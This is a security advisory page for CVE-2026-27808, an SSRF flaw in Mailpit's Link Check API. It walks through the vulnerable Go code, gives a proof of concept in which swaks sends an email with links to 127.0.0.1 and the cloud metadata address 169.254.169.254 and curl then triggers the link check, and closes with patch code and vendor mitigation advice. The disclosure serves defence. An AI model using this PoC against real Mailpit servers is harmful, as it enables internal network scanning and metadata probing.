CVE-2026-27808 is a medium-severity (CVSS 5.8) Server-Side Request Forgery (SSRF) vulnerability in github.com/axllent/mailpit. A fix is available for github.com/axllent/mailpit — see the affected versions and patch details below.
Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27808.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-27808 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/axllent/mailpitReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction.
This is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the screenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix.
Details
The doHead() function in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98 creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation:
func doHead(link string, followRedirects bool) (int, error) {
timeout := time.Duration(10 * time.Second)
tr := &http.Transport{}
// ...
client := http.Client{
Timeout: timeout,
Transport: tr,
// ...
}
req, err := http.NewRequest("HEAD", link, nil)
// ...
res, err := client.Do(req) // No IP validation — requests any URL
return res.StatusCode, nil
}
The call chain is:
- GET /api/v1/message/{ID}/link-check hits LinkCheck() in https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84
- Which calls linkcheck.RunTests() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16
- Which extracts all URLs from the email's HTML (<a href>, <img src>, <link href>) and text body, then passes them to getHTTPStatuses() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14
- Which spawns goroutines calling doHead() for each URL with no filtering
There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10).
PoC
Prerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service.
Step 1 — Start a listener to prove the SSRF:
python3 -m http.server 8081 --bind 127.0.0.1
Step 2 — Send a crafted email via SMTP:
swaks --to [email protected] \
--from [email protected] \
--server localhost:1025 \
--header "Content-Type: text/html" \
--body '<html><body><a href="http://127.0.0.1:8081/ssrf-proof">click</a><a
href="http://169.254.169.254/latest/meta-data/">metadata</a></body></html>'
Step 3 — Get the message ID:
curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID'
Or use the shorthand ID latest.
Step 4 — Trigger the link check:
curl -s http://localhost:8025/api/v1/message/latest/link-check | jq .
Expected result:
- The Python HTTP server on port 8081 logs a HEAD /ssrf-proof request from Mailpit.
- The API response contains the status code and status text for each internal target:
{
"Errors": 0,
"Links": [
{"URL": "http://127.0.0.1:8081/ssrf-proof", "StatusCode": 200, "Status": "OK"},
{"URL": "http://169.254.169.254/latest/meta-data/", "StatusCode": 200, "Status": "OK"}
]
}
-- This behavior can be identified by creating a email txt file as
cat email.txt >
From: [email protected]
To: [email protected]
Subject: Email Subject
This is the body of the email.
It can contain multiple lines of text.
http://localhost:8408
-
Start a Python server on port 8408
-
execute the command
mailpit sendmail < email.txt -
Observe a request to your python server and link status on the UI as OK
The attacker now knows both internal services are reachable and gets their exact HTTP status codes, this allows internal port scanning
Impact
Who is impacted: Any Mailpit deployment where an attacker can both send email (SMTP) and access the API. This includes the default configuration, which binds both services to all interfaces with no authentication.
What an attacker can do:
- Internal network scanning — Enumerate hosts and open ports on the internal network by reading status codes and error messages (connection refused vs. timeout vs. 200 OK).
- Cloud metadata access — Reach cloud provider metadata endpoints (169.254.169.254) and infer sensitive information from response codes.
- Service fingerprinting — Identify what services run on internal hosts from their HTTP status codes and response behavior.
- Bypass network segmentation — Use the Mailpit server's network position to reach hosts that are not directly accessible to the attacker.
This is a non-blind SSRF: the attacker gets direct, structured feedback (status code + status text) for every URL, making exploitation straightforward without any timing or side-channel inference.
Remediation
Then standard Go library can be used to identify a local address being requested and deny it.
func isBlockedIP(ip net.IP) bool {
return ip.IsLoopback() ||
ip.IsPrivate() ||
ip.IsLinkLocalUnicast() ||
ip.IsLinkLocalMulticast() ||
ip.IsUnspecified() ||
ip.IsMulticast()
}
- IsLoopback() — 127.0.0.0/8, ::1
- IsPrivate() — 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7
- IsLinkLocalUnicast() — 169.254.0.0/16, fe80::/10 (covers cloud metadata 169.254.169.254)
- IsLinkLocalMulticast() — 224.0.0.0/24, ff02::/16
- IsUnspecified() — 0.0.0.0, ::
- IsMulticast() — 224.0.0.0/4, ff00::/8
And the safe dialer that uses it:
func safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {
return func(ctx context.Context, network, address string) (net.Conn, error) {
host, port, err := net.SplitHostPort(address)
if err != nil {
return nil, err
}
ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
if err != nil {
return nil, err
}
for _, ip := range ips {
if isBlockedIP(ip.IP) {
return nil, fmt.Errorf("blocked request to private/reserved address: %s (%s)", host, ip.
}
}
return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))
}
}
Then the doHead() change — replace the bare transport with one that uses the safe dialer, and re-validate URLs on redirect hops:
func doHead(link string, followRedirects bool) (int, error) {
if !isValidLinkURL(link) {
return 0, fmt.Errorf("invalid URL: %s", link)
}
dialer := &net.Dialer{
Timeout: 5 * time.Second,
KeepAlive: 30 * time.Second,
}
tr := &http.Transport{
DialContext: safeDialContext(dialer),
}
if config.AllowUntrustedTLS {
tr.TLSClientConfig = &tls.Config{InsecureSkipVerify: true} // #nosec
}
client := http.Client{
Timeout: 10 * time.Second,
Transport: tr,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return errors.New("too many redirects")
}
if !followRedirects {
return http.ErrUseLastResponse
}
if !isValidLinkURL(req.URL.String()) {
return fmt.Errorf("blocked redirect to invalid URL: %s", req.URL)
}
return nil
},
}
req, err := http.NewRequest("HEAD", link, nil)
if err != nil {
logger.Log().Errorf("[link-check] %s", err.Error())
return 0, err
}
req.Header.Set("User-Agent", "Mailpit/"+config.Version)
res, err := client.Do(req)
if err != nil {
if res != nil {
return res.StatusCode, err
}
return 0, err
}
return res.StatusCode, nil
}
func isValidLinkURL(str string) bool {
u, err := url.Parse(str)
return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != ""
}
This fix should mitigate the reported SSRF.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/axllent/mailpit | all versions | 1.29.2go get github.com/axllent/mailpit@v1.29.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/axllent/mailpit, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/axllent/mailpit to 1.29.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27808 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-27808 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-27808. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-27808 in your dependencies?
O3 Security finds CVE-2026-27808 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.